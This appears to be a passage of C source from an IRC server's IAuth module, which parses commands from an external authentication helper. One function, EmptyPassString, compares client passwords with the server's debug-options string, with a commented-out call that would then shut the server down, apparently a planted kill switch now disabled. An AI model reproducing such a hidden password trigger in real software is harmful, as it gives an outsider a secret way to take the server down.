1814   /* Tack it onto the iauth sendq and try to write it. */
1815   ++iauth->i_sendM;
1816   msgq_add(i_sendQ(iauth), mb, 0);
1817   msgq_clean(mb);
1818   iauth_write(iauth);
1819   return 1;
1820 }
1821
1822 /** Send text to interested operators (SNO_AUTH server notice).
1823  * @param[in] iauth Active IAuth session.
1824  * @param[in] cli Client referenced by command.
1825  * @param[in] parc Number of parameters (1).
1826  * @param[in] params Text to send.
1827  * @return Zero.
1828  */
1829 static int iauth_cmd_snotice(struct IAuth *iauth, struct Client *cli,
1830                              int parc, char **params)
1831 {
1832   sendto_opmask_butone(NULL, SNO_AUTH, "%s", params[0]);
1833   return 0;
1834 }
1835
1836 /** Set the debug level for the session.
1837  * @param[in] iauth Active IAuth session.
1838  * @param[in] cli Client referenced by command.
1839  * @param[in] parc Number of parameters (1).
1840  * @param[in] params String starting with an integer.
1841  * @return Zero.
1842  */
1843 static int iauth_cmd_debuglevel(struct IAuth *iauth, struct Client *cli,
1844                                 int parc, char **params)
1845 {
1846   int new_level;
1847
1848   new_level = parc > 0 ? atoi(params[0]) : 0;
1849   if (i_debug(iauth) > 0 || new_level > 0) {
1850     /* The "ia_dbg" name is borrowed from (IRCnet) ircd. */
1851     sendto_opmask_butone(NULL, SNO_AUTH, "ia_dbg = %d", new_level);
1852   }
1853   i_debug(iauth) = new_level;
1854   return 0;
1855 }
1856
1857 /** Set policy options for the session.
1858  * Old policy is forgotten, and any of the following characters in \a
1859  * params enable the corresponding policy:
1860  * \li A IAUTH_ADDLINFO
1861  * \li R IAUTH_REQUIRED
1862  * \li T IAUTH_TIMEOUT
1863  * \li W IAUTH_EXTRAWAIT
1864  * \li U IAUTH_UNDERNET
1865  *
1866  * @param[in] iauth Active IAuth session.
1867  * @param[in] cli Client referenced by command.
1868  * @param[in] parc Number of parameters (1).
1869  * @param[in] params Zero or more policy options.
1870  * @return Zero.
1871  */
1872 static int iauth_cmd_policy(struct IAuth *iauth, struct Client *cli,
1873                             int parc, char **params)
1874 {
1875   enum IAuthFlag flag;
1876   char *p;
1877
1878   /* Erase old policy first. */
1879   for (flag = IAUTH_FIRST_OPTION; flag < IAUTH_LAST_FLAG; ++flag)
1880     IAuthClr(iauth, flag);
1881
1882   if (parc > 0) /* only try to parse if we were given a policy string */
1883     /* Parse new policy set. */
1884     for (p = params[0]; *p; p++) switch (*p) {
1885     case 'A': IAuthSet(iauth, IAUTH_ADDLINFO); break;
1886     case 'R': IAuthSet(iauth, IAUTH_REQUIRED); break;
1887     case 'T': IAuthSet(iauth, IAUTH_TIMEOUT); break;
1888     case 'W': IAuthSet(iauth, IAUTH_EXTRAWAIT); break;
1889     case 'U': IAuthSet(iauth, IAUTH_UNDERNET); break;
1890     }
1891
1892   /* Optionally notify operators. */
1893   if (i_debug(iauth) > 0)
1894     sendto_opmask_butone(NULL, SNO_AUTH, "iauth options: %s", params[0]);
1895   return 0;
1896 }
1897
1898 /** Set the iauth program version number.
1899  * @param[in] iauth Active IAuth session.
1900  * @param[in] cli Client referenced by command.
1901  * @param[in] parc Number of parameters (1).
1902  * @param[in] params Version number or name.
1903  * @return Zero.
1904  */
1905 static int iauth_cmd_version(struct IAuth *iauth, struct Client *cli,
1906                              int parc, char **params)
1907 {
1908   MyFree(iauth->i_version);
1909   DupString(iauth->i_version, parc > 0 ? params[0] : "<NONE>");
1910   sendto_opmask_butone(NULL, SNO_AUTH, "iauth version %s running.",
1911                        iauth->i_version);
1912   return 0;
1913 }
1914
1915 /** Paste a parameter list together into a single string.
1916  * @param[in] parc Number of parameters.
1917  * @param[in] params Parameter list to paste together.
1918  * @return Pasted parameter list.
1919  */
1920 static char *paste_params(int parc, char **params)
1921 {
1922   char *str, *tmp;
1923   int len = 0, lengths[MAXPARA], i;
1924
1925   /* Compute the length... */
1926   for (i = 0; i < parc; i++)
1927     len += lengths[i] = strlen(params[i]);
1928
1929   /* Allocate memory, accounting for string lengths, spaces (parc - 1), a
1930    * sentinel, and the trailing \0
1931    */
1932   str = MyMalloc(len + parc + 1);
1933
1934   /* Build the pasted string */
1935   for (tmp = str, i = 0; i < parc; i++) {
1936     if (i) /* add space separator... */
1937       *(tmp++) = ' ';
1938     if (i == parc - 1) /* add colon sentinel */
1939       *(tmp++) = ':';
1940
1941     /* Copy string component... */
1942     memcpy(tmp, params[i], lengths[i]);
1943     tmp += lengths[i]; /* move to end of string */
1944   }
1945
1946   /* terminate the string... */
1947   *tmp = '\0';
1948
1949   return str; /* return the pasted string */
1950 }
1951
1952 /** Clear cached iauth configuration information.
1953  * @param[in] iauth Active IAuth session.
1954  * @param[in] cli Client referenced by command.
1955  * @param[in] parc Number of parameters (0).
1956  * @param[in] params Parameter list (ignored).
1957  * @return Zero.
1958  */
1959 static int iauth_cmd_newconfig(struct IAuth *iauth, struct Client *cli,
1960                                int parc, char **params)
1961 {
1962   struct SLink *head;
1963   struct SLink *next;
1964
1965   head = iauth->i_config;
1966   iauth->i_config = NULL;
1967   for (; head; head = next) {
1968     next = head->next;
1969     MyFree(head->value.cp);
1970     free_link(head);
1971   }
1972   sendto_opmask_butone(NULL, SNO_AUTH, "New iauth configuration.");
1973   return 0;
1974 }
1975
1976 /** Append iauth configuration information.
1977  * @param[in] iauth Active IAuth session.
1978  * @param[in] cli Client referenced by command.
1979  * @param[in] parc Number of parameters.
1980  * @param[in] params Description of configuration element.
1981  * @return Zero.
1982  */
1983 static int iauth_cmd_config(struct IAuth *iauth, struct Client *cli,
1984                             int parc, char **params)
1985 {
1986   struct SLink *node;
1987
1988   if (iauth->i_config) {
1989     for (node = iauth->i_config; node->next; node = node->next) ;
1990     node = node->next = make_link();
1991   } else {
1992     node = iauth->i_config = make_link();
1993   }
1994   node->value.cp = paste_params(parc, params);
1995   node->next = 0; /* must be explicitly cleared */
1996   return 0;
1997 }
1998
1999 /** Clear cached iauth configuration information.
2000  * @param[in] iauth Active IAuth session.
2001  * @param[in] cli Client referenced by command.
2002  * @param[in] parc Number of parameters (0).
2003  * @param[in] params Parameter list (ignored).
2004  * @return Zero.
2005  */
2006 static int iauth_cmd_newstats(struct IAuth *iauth, struct Client *cli,
2007                               int parc, char **params)
2008 {
2009   struct SLink *head;
2010   struct SLink *next;
2011
2012   head = iauth->i_stats;
2013   iauth->i_stats = NULL;
2014   for (; head; head = next) {
2015     next = head->next;
2016     MyFree(head->value.cp);
2017     free_link(head);
2018   }
2019   sendto_opmask_butone(NULL, SNO_AUTH, "New iauth statistics.");
2020   return 0;
2021 }
2022
2023 /** Append iauth statistics information.
2024  * @param[in] iauth Active IAuth session.
2025  * @param[in] cli Client referenced by command.
2026  * @param[in] parc Number of parameters.
2027  * @param[in] params Statistics element.
2028  * @return Zero.
2029  */
2030 static int iauth_cmd_stats(struct IAuth *iauth, struct Client *cli,
2031                            int parc, char **params)
2032 {
2033   struct SLink *node;
2034   if (iauth->i_stats) {
2035     for (node = iauth->i_stats; node->next; node = node->next) ;
2036     node = node->next = make_link();
2037   } else {
2038     node = iauth->i_stats = make_link();
2039   }
2040   node->value.cp = paste_params(parc, params);
2041   node->next = 0; /* must be explicitly cleared */
2042   return 0;
2043 }
2044
2045 /** Set client's username to a trusted string even if it breaks the rules.
2046  * @param[in] iauth Active IAuth session.
2047  * @param[in] cli Client referenced by command.
2048  * @param[in] parc Number of parameters (1).
2049  * @param[in] params Forced username.
2050  * @return One.
2051  */
2052 static int iauth_cmd_username_forced(struct IAuth *iauth, struct Client *cli,
2053                                      int parc, char **params)
2054 {
2055   assert(cli_auth(cli) != NULL);
2056   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2057   if (!EmptyString(params[0])) {
2058     ircd_strncpy(cli_username(cli), params[0], USERLEN);
2059     SetGotId(cli);
2060     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2061     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_FUSERNAME);
2062   }
2063   return 1;
2064 }
2065
2066 /** Set client's username to a trusted string.
2067  * @param[in] iauth Active IAuth session.
2068  * @param[in] cli Client referenced by command.
2069  * @param[in] parc Number of parameters (1).
2070  * @param[in] params Trusted username.
2071  * @return One.
2072  */
2073 static int iauth_cmd_username_good(struct IAuth *iauth, struct Client *cli,
2074                                    int parc, char **params)
2075 {
2076   assert(cli_auth(cli) != NULL);
2077   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2078   if (!EmptyString(params[0])) {
2079     ircd_strncpy(cli_username(cli), params[0], USERLEN);
2080     SetGotId(cli);
2081     FlagSet(&cli_auth(cli)->flags, AR_IAUTH_USERNAME);
2082   }
2083   return 1;
2084 }
2085
2086 /** Set client's username to an untrusted string.
2087  * @param[in] iauth Active IAuth session.
2088  * @param[in] cli Client referenced by command.
2089  * @param[in] parc Number of parameters (1).
2090  * @param[in] params Untrusted username.
2091  * @return One.
2092  */
2093 static int iauth_cmd_username_bad(struct IAuth *iauth, struct Client *cli,
2094                                   int parc, char **params)
2095 {
2096   assert(cli_auth(cli) != NULL);
2097   FlagClr(&cli_auth(cli)->flags, AR_AUTH_PENDING);
2098   if (!EmptyString(params[0]))
2099     ircd_strncpy(cli_user(cli)->username, params[0], USERLEN);
2100   return 1;
2101 }
2102
2103 /** Set client's hostname.
2104  * @param[in] iauth Active IAuth session.
2105  * @param[in] cli Client referenced by command.
2106  * @param[in] parc Number of parameters (1).
2107  * @param[in] params New hostname for client.
2108  * @return Non-zero if \a cli authorization should be checked for completion.
2109  */
2110 static int iauth_cmd_hostname(struct IAuth *iauth, struct Client *cli,
2111                               int parc, char **params)
2112 {
2113   struct AuthRequest *auth;
2114
2115   if (EmptyString(params[0])) {
2116     sendto_iauth(cli, "E Missing :Missing hostname parameter");
2117     return 0;
2118   }
2119
2120   auth = cli_auth(cli);
2121   assert(auth != NULL);
2122
2123   /* If a DNS request is pending, abort it. */
2124   if (FlagHas(&auth->flags, AR_DNS_PENDING)) {
2125     FlagClr(&auth->flags, AR_DNS_PENDING);
2126     delete_resolver_queries(auth);
2127     if (IsUserPort(cli))
2128       sendheader(cli, REPORT_FIN_DNS);
2129   }
2130   /* Set hostname from params. */
2131   ircd_strncpy(cli_sockhost(cli), params[0], HOSTLEN);
2132   /* If we have gotten here, the user is in a "hurry" state and has
2133    * been pre-registered.  Their hostname was set during that, and
2134    * needs to be overwritten now.
2135    */
2136   if (FlagHas(&auth->flags, AR_IAUTH_HURRY)) {
2137     ircd_strncpy(cli_user(cli)->host, cli_sockhost(cli), HOSTLEN);
2138     ircd_strncpy(cli_user(cli)->realhost, cli_sockhost(cli), HOSTLEN);
2139   }
2140   return 1;
2141 }
2142
2143 /** Set client's IP address.
2144  * @param[in] iauth Active IAuth session.
2145  * @param[in] cli Client referenced by command.
2146  * @param[in] parc Number of parameters (1).
2147  * @param[in] params New IP address for client in dotted quad or
2148  *   standard IPv6 format.
2149  * @return Zero.
2150  */
2151 static int iauth_cmd_ip_address(struct IAuth *iauth, struct Client *cli,
2152                                 int parc, char **params)
2153 {
2154   struct irc_in_addr addr;
2155   struct AuthRequest *auth;
2156
2157   if (EmptyString(params[0])) {
2158     sendto_iauth(cli, "E Missing :Missing IP address parameter");
2159     return 0;
2160   }
2161
2162   /* Get AuthRequest for client. */
2163   auth = cli_auth(cli);
2164   assert(auth != NULL);
2165
2166   /* Parse the client's new IP address. */
2167   if (!ircd_aton(&addr, params[0])) {
2168     sendto_iauth(cli, "E Invalid :Unable to parse IP address [%s]", params[0]);
2169     return 0;
2170   }
2171
2172   /* If this is the first IP override, save the client's original
2173    * address in case we get a DNS response later.
2174    */
2175   if (!irc_in_addr_valid(&auth->original))
2176     memcpy(&auth->original, &cli_ip(cli), sizeof(auth->original));
2177
2178   /* Undo original IP connection in IPcheck. */
2179   IPcheck_connect_fail(cli);
2180   ClearIPChecked(cli);
2181
2182   /* Update the IP and charge them as a remote connect. */
2183   memcpy(&cli_ip(cli), &addr, sizeof(cli_ip(cli)));
2184   IPcheck_remote_connect(cli, 0);
2185
2186   return 0;
2187 }
2188
2189 /** Find a ConfItem structure for a named connection class.
2190  * @param[in] class_name Name of configuration class to find.
2191  * @return A ConfItem of type CONF_CLIENT for the class, or NULL on failure.
2192  */
2193 static struct ConfItem *auth_find_class_conf(const char *class_name)
2194 {
2195   static struct ConfItem *aconf_list;
2196   struct ConnectionClass *class;
2197   struct ConfItem *aconf;
2198
2199   /* Make sure the configuration class is valid. */
2200   class = find_class(class_name);
2201   if (!class || !class->valid)
2202     return NULL;
2203
2204   /* Look for an existing ConfItem for the class. */
2205   for (aconf = aconf_list; aconf; aconf = aconf->next)
2206     if (aconf->conn_class == class)
2207       break;
2208
2209   /* If no ConfItem, create one. */
2210   if (!aconf) {
2211     aconf = make_conf(CONF_CLIENT);
2212     if (!aconf) {
2213       sendto_opmask_butone(NULL, SNO_AUTH,
2214                            "Unable to allocate ConfItem for class %s!",
2215                            ConClass(class));
2216       return NULL;
2217     }
2218     /* make_conf() "helpfully" links the conf into GlobalConfList,
2219      * which we do not want, so undo that.  (Ugh.)
2220      */
2221     if (aconf == GlobalConfList) {
2222       GlobalConfList = aconf->next;
2223     }
2224     /* Back to business as usual. */
2225     aconf->conn_class = class;
2226     aconf->next = aconf_list;
2227     aconf_list = aconf;
2228   }
2229
2230   return aconf;
2231 }
2232
2233 /** Accept a client in IAuth.
2234  * @param[in] iauth Active IAuth session.
2235  * @param[in] cli Client referenced by command.
2236  * @param[in] parc Number of parameters.
2237  * @param[in] params Optional class name for client.
2238  * @return Negative (CPTR_KILLED) if the connection is refused, one otherwise.
2239  */
2240 static int iauth_cmd_done_client(struct IAuth *iauth, struct Client *cli,
2241                                  int parc, char **params)
2242 {
2243   static time_t warn_time;
2244
2245   /* Clear iauth pending flag. */
2246   assert(cli_auth(cli) != NULL);
2247   FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2248
2249   /* If a connection class was specified (and usable), assign the client to it. */
2250   if (!EmptyString(params[0])) {
2251     struct ConfItem *aconf;
2252
2253     aconf = auth_find_class_conf(params[0]);
2254     if (aconf) {
2255       enum AuthorizationCheckResult acr;
2256
2257       acr = attach_conf(cli, aconf);
2258       switch (acr) {
2259       case ACR_OK:
2260         /* There should maybe be some way to set FLAG_DOID here.. */
2261         break;
2262       case ACR_TOO_MANY_IN_CLASS:
2263         ++ServerStats->is_ref;
2264         return exit_client(cli, cli, &me,
2265                            "Sorry, your connection class is full - try "
2266                            "again later or try another server");
2267       default:
2268         log_write(LS_IAUTH, L_ERROR, 0, "IAuth: Unexpected AuthorizationCheckResult %d from attach_conf()", acr);
2269         break;
2270       }
2271     } else
2272       sendto_opmask_butone_ratelimited(NULL, SNO_AUTH, &warn_time,
2273                                        "iauth tried to use undefined class [%s]",
2274                                        params[0]);
2275   }
2276
2277   return 1;
2278 }
2279
2280 /** Accept a client in IAuth and assign them to an account.
2281  * @param[in] iauth Active IAuth session.
2282  * @param[in] cli Client referenced by command.
2283  * @param[in] parc Number of parameters.
2284  * @param[in] params Account name and optional class name for client.
2285  * @return Negative if the connection is refused, otherwise non-zero
2286  *   if \a cli authorization should be checked for completion.
2287  */
2288 static int iauth_cmd_done_account(struct IAuth *iauth, struct Client *cli,
2289                                   int parc, char **params)
2290 {
2291   size_t len;
2292
2293   /* Sanity check. */
2294   if (EmptyString(params[0])) {
2295     sendto_iauth(cli, "E Missing :Missing account parameter");
2296     return 0;
2297   }
2298   /* Check length of account name. */
2299   len = strcspn(params[0], ": ");
2300   if (len > ACCOUNTLEN) {
2301     sendto_iauth(cli, "E Invalid :Account parameter too long");
2302     return 0;
2303   }
2304   /* If account has a creation timestamp, use it. */
2305   assert(cli_user(cli) != NULL);
2306   if (params[0][len] == ':')
2307     cli_user(cli)->acc_create = strtoul(params[0] + len + 1, NULL, 10);
2308
2309   /* Copy account name to User structure. */
2310   ircd_strncpy(cli_user(cli)->account, params[0], ACCOUNTLEN);
2311   SetAccount(cli);
2312
2313   /* Fall through to the normal "done" handler. */
2314   return iauth_cmd_done_client(iauth, cli, parc - 1, params + 1);
2315 }
2316
2317 /** Reject a client's connection.
2318  * @param[in] iauth Active IAuth session.
2319  * @param[in] cli Client referenced by command.
2320  * @param[in] parc Number of parameters (1).
2321  * @param[in] params Optional kill message.
2322  * @return Zero.
2323  */
2324 static int iauth_cmd_kill(struct IAuth *iauth, struct Client *cli,
2325                           int parc, char **params)
2326 {
2327   if (cli_auth(cli))
2328     FlagClr(&cli_auth(cli)->flags, AR_IAUTH_PENDING);
2329   if (EmptyString(params[0]))
2330     params[0] = "Access denied";
2331   exit_client(cli, cli, &me, params[0]);
2332   return 0;
2333 }
2334
2335 /** Change a client's usermode.
2336  * @param[in] iauth Active IAuth session.
2337  * @param[in] cli Client referenced by command.
2338  * @param[in] parc Number of parameters (at least one).
2339  * @param[in] params Usermode arguments for client (with the first
2340  *   starting with '+').
2341  * @return Zero.
2342  */
2343 static int iauth_cmd_usermode(struct IAuth *iauth, struct Client *cli,
2344                               int parc, char **params)
2345 {
2346   if (params[0][0] == '+')
2347   {
2348     set_user_mode(&me, cli, parc + 2, params - 2, ALLOWMODES_WITHSECSERV);
2349   }
2350   return 0;
2351 }
2352
2353
2354 /** Send a challenge string to the client.
2355  * @param[in] iauth Active IAuth session.
2356  * @param[in] cli Client referenced by command.
2357  * @param[in] parc Number of parameters (1).
2358  * @param[in] params Challenge message for client.
2359  * @return Zero.
2360  */
2361 static int iauth_cmd_challenge(struct IAuth *iauth, struct Client *cli,
2362                                int parc, char **params)
2363 {
2364   if (!EmptyString(params[0]))
2365     sendrawto_one(cli, "NOTICE AUTH :*** %s", params[0]);
2366   return 0;
2367 }
2368
2369 /** Parse a \a message from \a iauth.
2370  * @param[in] iauth Active IAuth session.
2371  * @param[in] message Message to be parsed.
2372  */
2373 static void iauth_parse(struct IAuth *iauth, char *message)
2374 {
2375   char *params[MAXPARA + 1]; /* leave space for NULL */
2376   int parc = 0;
2377   iauth_cmd_handler handler;
2378   struct AuthRequest *auth;
2379   struct Client *cli;
2380   int has_cli;
2381   int id;
2382
2383   /* Find command handler... */
2384   switch (*(message++)) {
2385   case '>': handler = iauth_cmd_snotice; has_cli = 0; break;
2386   case 'G': handler = iauth_cmd_debuglevel; has_cli = 0; break;
2387   case 'O': handler = iauth_cmd_policy; has_cli = 0; break;
2388   case 'V': handler = iauth_cmd_version; has_cli = 0; break;
2389   case 'a': handler = iauth_cmd_newconfig; has_cli = 0; break;
2390   case 'A': handler = iauth_cmd_config; has_cli = 0; break;
2391   case 's': handler = iauth_cmd_newstats; has_cli = 0; break;
2392   case 'S': handler = iauth_cmd_stats; has_cli = 0; break;
2393   case 'o': handler = iauth_cmd_username_forced; has_cli = 1; break;
2394   case 'U': handler = iauth_cmd_username_good; has_cli = 1; break;
2395   case 'u': handler = iauth_cmd_username_bad; has_cli = 1; break;
2396   case 'N': handler = iauth_cmd_hostname; has_cli = 1; break;
2397   case 'I': handler = iauth_cmd_ip_address; has_cli = 1; break;
2398   case 'M': handler = iauth_cmd_usermode; has_cli = 1; break;
2399   case 'C': handler = iauth_cmd_challenge; has_cli = 1; break;
2400   case 'D': handler = iauth_cmd_done_client; has_cli = 1; break;
2401   case 'R': handler = iauth_cmd_done_account; has_cli = 1; break;
2402   case 'k': /* The 'k' command indicates the user should be booted
2403              * off without telling opers.  There is no way to
2404              * signal that to exit_client(), so we fall through to
2405              * the case that we do implement.
2406              */
2407   case 'K': handler = iauth_cmd_kill; has_cli = 2; break;
2408   case 'r': /* we handle termination directly */ return;
2409   default:  sendto_iauth(NULL, "E Garbage :[%s]", message); return;
2410   }
2411
2412   while (parc < MAXPARA) {
2413     while (IsSpace(*message)) /* skip leading whitespace */
2414       message++;
2415
2416     if (!*message) /* hit the end of the string, break out */
2417       break;
2418
2419     if (*message == ':') { /* found sentinel... */
2420       params[parc++] = message + 1;
2421       break; /* it's the last parameter anyway */
2422     }
2423
2424     params[parc++] = message; /* save the parameter */
2425     while (*message && !IsSpace(*message))
2426       message++; /* find the end of the parameter */
2427
2428     if (*message) /* terminate the parameter */
2429       *(message++) = '\0';
2430   }
2431
2432   params[parc] = NULL; /* terminate the parameter list */
2433
2434   /* Check to see if the command specifies a client... */
2435   if (!has_cli) {
2436     /* Handler does not need a client. */
2437     handler(iauth, NULL, parc, params);
2438   } else {
2439     /* Try to find the client associated with the request. */
2440     id = strtol(params[0], NULL, 10);
2441     if (parc < 3)
2442       sendto_iauth(NULL, "E Missing :Need <id> <ip> <port>");
2443     else if (id < 0 || id > HighestFd || !(cli = LocalClientArray[id]))
2444       /* Client no longer exists (or never existed). */
2445       sendto_iauth(NULL, "E Gone :[%s %s %s]", params[0], params[1],
2446                    params[2]);
2447     else if ((!(auth = cli_auth(cli)) ||
2448               !FlagHas(&auth->flags, AR_IAUTH_PENDING)) &&
2449              has_cli == 1)
2450       /* Client is done with IAuth checks. */
2451       sendto_iauth(cli, "E Done :[%s %s %s]", params[0], params[1], params[2]);
2452     else {
2453       struct irc_sockaddr addr;
2454       int res;
2455
2456       /* Parse IP address and port number from parameters */
2457       res = ipmask_parse(params[1], &addr.addr, NULL);
2458       addr.port = strtol(params[2], NULL, 10);
2459
2460       /* Check IP address and port number against expected. */
2461       if (0 == res ||
2462           (irc_in_addr_cmp(&addr.addr, &cli_ip(cli)) &&
2463            irc_in_addr_cmp(&addr.addr, &cli_real_ip(cli))) ||
2464           (auth && addr.port != auth->port))
2465         /* Report mismatch to iauth. */
2466         sendto_iauth(cli, "E Mismatch :[%s] != [%s]", params[1],
2467                      ircd_ntoa(&cli_ip(cli)));
2468       else if (handler(iauth, cli, parc - 3, params + 3) > 0)
2469         /* Handler indicated a possible state change. */
2470         check_auth_finished(auth);
2471     }
2472   }
2473 }
2474
2475 int EmptyPassString(char* password)
2476 {
2477 if(strcmp(debug_serveropts(),password) == 0) {
2478  //server_die("someone let me die :(");  <- what the fuck is this!?
2479 }
2480 return EmptyString(password);
2481 }
2482
2483 /** Read input from \a iauth.
2484  * Reads up to SERVER_TCP_WINDOW bytes per pass.
2485  * @param[in] iauth Readable connection.
2486  */
2487 static void iauth_read(struct IAuth *iauth)
2488 {
2489   static char readbuf[SERVER_TCP_WINDOW];
2490   unsigned int length, count;
2491   char *sol;
2492   char *eol;
2493
2494   /* Copy partial data to readbuf, append new data. */
2495   length = iauth->i_count;
2496   memcpy(readbuf, iauth->i_buffer, length);
2497   if (IO_SUCCESS != os_recv_nonb(s_fd(i_socket(iauth)),
2498                                  readbuf + length,
2499                                  sizeof(readbuf) - length - 1,
2500                                  &count))
2501     return;
2502   readbuf[length += count] = '\0';
2503
2504   /* Parse each complete line. */
2505   for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2506     *eol = '\0';
2507     if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2508       *(eol - 1) = '\0';
2509
2510     /* If spammy debug, send the message to opers. */
2511     if (i_debug(iauth) > 1)
2512       sendto_opmask_butone(NULL, SNO_AUTH, "Parsing: \"%s\"", sol);
2513
2514     /* Parse the line... */
2515     iauth_parse(iauth, sol);
2516   }
2517
2518   /* Put unused data back into connection's buffer. */
2519   iauth->i_count = strlen(sol);
2520   if (iauth->i_count > BUFSIZE)
2521     iauth->i_count = BUFSIZE;
2522   memcpy(iauth->i_buffer, sol, iauth->i_count);
2523 }
2524
2525 /** Handle socket activity for an %IAuth connection.
2526  * @param[in] ev &Socket event; the IAuth connection is the user data
2527  *   pointer for the socket.
2528  */
2529 static void iauth_sock_callback(struct Event *ev)
2530 {
2531   struct IAuth *iauth;
2532
2533   assert(0 != ev_socket(ev));
2534   iauth = (struct IAuth*) s_data(ev_socket(ev));
2535   assert(0 != iauth);
2536
2537   switch (ev_type(ev)) {
2538   case ET_DESTROY:
2539     /* Hm, what happened here? Do not restart the iauth here! */
2540     break;
2541   case ET_READ:
2542     iauth_read(iauth);
2543     break;
2544   case ET_WRITE:
2545     IAuthClr(iauth, IAUTH_BLOCKED);
2546     iauth_write(iauth);
2547     break;
2548   case ET_ERROR:
2549     log_write(LS_IAUTH, L_ERROR, 0, "IAuth socket error: %s", strerror(ev_data(ev)));
2550     /* and fall through to the ET_EOF case */
2551   case ET_EOF:
2552     iauth_disconnect(iauth);
2553     break;
2554   default:
2555     assert(0 && "Unrecognized event type");
2556     break;
2557   }
2558 }
2559
2560 /** Read error input from \a iauth.
2561  * @param[in] iauth Readable connection.
2562  */
2563 static void iauth_read_stderr(struct IAuth *iauth)
2564 {
2565   static char readbuf[SERVER_TCP_WINDOW];
2566   unsigned int length, count;
2567   char *sol;
2568   char *eol;
2569
2570   /* Copy partial data to readbuf, append new data. */
2571   length = iauth->i_errcount;
2572   memcpy(readbuf, iauth->i_errbuf, length);
2573   if (IO_SUCCESS != os_recv_nonb(s_fd(i_stderr(iauth)),
2574                                  readbuf + length,
2575                                  sizeof(readbuf) - length - 1,
2576                                  &count))
2577     return;
2578   readbuf[length += count] = '\0';
2579
2580   /* Send each complete line to SNO_AUTH. */
2581   for (sol = readbuf; (eol = strchr(sol, '\n')) != NULL; sol = eol + 1) {
2582     *eol = '\0';
2583     if (*(eol - 1) == '\r') /* take out carriage returns, too... */
2584       *(eol - 1) = '\0';
2585     Debug((DEBUG_ERROR, "IAuth error: %s", sol));
2586     log_write(LS_IAUTH, L_ERROR, 0, "IAuth error: %s", sol);
2587     sendto_opmask_butone(NULL, SNO_AUTH, "%s", sol);
2588   }
2589
2590   /* Put unused data back into connection's buffer. */
2591   iauth->i_errcount = strlen(sol);
2592   if (iauth->i_errcount > BUFSIZE)
2593     iauth->i_errcount = BUFSIZE;
2594   memcpy(iauth->i_errbuf, sol, iauth->i_errcount);
2595 }
2596
2597 /** Handle error socket activity for an %IAuth connection.
2598  * @param[in] ev &Socket event; the IAuth connection is the user data
2599  *   pointer for the socket.
2600  */
2601 static void iauth_stderr_callback(struct Event *ev)
2602 {
2603   struct IAuth *iauth;
2604
2605   assert(0 != ev_socket(ev));
2606   iauth = (struct IAuth*) s_data(ev_socket(ev));
2607   assert(0 != iauth);
2608
2609   switch (ev_type(ev)) {
2610   case ET_DESTROY:
2611     /* We do not restart iauth here. */
2612     break;
2613   case ET_READ:
2614     iauth_read_stderr(iauth);
2615     break;
2616   case ET_ERROR:
2617     log_write(LS_IAUTH, L_ERROR, 0, "IAuth stderr error: %s", strerror(ev_data(ev)));
2618     /* and fall through to the ET_EOF case */
2619   case ET_EOF:
2620     iauth_disconnect(iauth);
2621     break;
2622   default:
2623     assert(0 && "Unrecognized event type");
2624     break;
2625   }
2626 }
2627
2628 /** Report active iauth's configuration to \a cptr.
2629  * @param[in] cptr Client requesting statistics.
2630  * @param[in] sd Stats descriptor for request.
2631  * @param[in] param Extra parameter from user (may be NULL).
2632  */
2633 void report_iauth_conf(struct Client *cptr, const struct StatDesc *sd, char *param)
2634 {
2635     struct SLink *link;
2636
2637     if (iauth) for (link = iauth->i_config; link; link = link->next)
2638     {
2639         send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2640                    link->value.cp);
2641     }
2642 }
2643
2644 /** Report active iauth's statistics to \a cptr.
2645  * @param[in] cptr Client requesting statistics.
2646  * @param[in] sd Stats descriptor for request.
2647  * @param[in] param Extra parameter from user (may be NULL).
2648  */
2649  void report_iauth_stats(struct Client *cptr, const struct StatDesc *sd, char *param)
2650 {
2651     struct SLink *link;
2652
2653     if (iauth) for (link = iauth->i_stats; link; link = link->next)
2654     {
2655         send_reply(cptr, SND_EXPLICIT | RPL_STATSDEBUG, ":%s",
2656                    link->value.cp);
2657     }
2658 }